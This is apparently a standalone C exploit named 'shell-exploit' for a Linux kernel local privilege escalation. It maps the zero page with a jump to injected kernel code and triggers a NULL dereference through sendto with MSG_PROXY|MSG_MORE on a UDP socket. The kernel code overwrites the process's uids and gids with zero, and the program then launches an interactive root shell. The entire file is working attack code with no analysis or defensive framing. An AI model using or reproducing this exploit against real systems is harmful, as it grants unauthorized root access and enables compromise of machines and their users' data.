shell-exploit

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/personality.h>

unsigned int uid, gid;
void get_root_uid(unsigned *task)
{
    unsigned *addr=task;
    while(addr[0]!=uid||addr[1]!=uid||addr[2]!=uid||addr[3]!=uid){
        addr++;
    }
    addr[0]=addr[1]=addr[2]=addr[3]=0; /* set uids */
    addr[4]=addr[5]=addr[6]=addr[7]=0; /* set gids */
    return;
}
void exploit();
void kernel_code()
{
    asm("exploit:\n"
        "push %eax\n"
        "movl $0xfffff000,%eax\n"
        "andl %esp,%eax\n"
        "pushl (%eax)\n"
        "call get_root_uid\n"
        "addl $4,%esp\n"
        "popl %eax\n");
    return;
}
void *kernel=kernel_code;

int main(int argc, char **argv)
{
    int fd=0;
    char buf[1024];
    struct sockaddr x0x;
    void *zero_page;

    uid=getuid();
    gid=getgid();
    if(uid==0){
        fprintf(stderr,"[-] check ur uid\n");
        return -1;
    }
    if(personality(0xffffffff)==PER_SVR4){
        if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
            perror("[-] mprotect()");
            return -1;
        }
    }
    else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){
            perror("[-] mmap()");
            return -1;
    }
    *(unsigned long *)0x0=0x90909090;
    *(char *)0x00000004=0x90; /* +1 */
    *(char *)0x00000005=0xff;
    *(char *)0x00000006=0x25;
    *(unsigned long *)0x00000007=(unsigned long)&kernel;
    *(char *)0x0000000b=0xc3;

    if((fd=socket(PF_INET,SOCK_DGRAM,0))==-1){
        perror("[-] socket()");
        return -1;
    }
    x0x.sa_family=AF_UNSPEC;
    memset(x0x.sa_data,0x82,14);
    memset((char *)buf,0,sizeof(buf));
    sendto(fd,buf,1024,MSG_PROXY|MSG_MORE,&x0x,sizeof(x0x));
    sendto(fd,buf,1024,0,&x0x,sizeof(x0x));
    if(getuid()==uid){
        printf("[-] exploit failed, try again\n");
        return -1;
    }
    close(fd);
    execl("/bin/sh","sh","-i",NULL);
    return 0;
}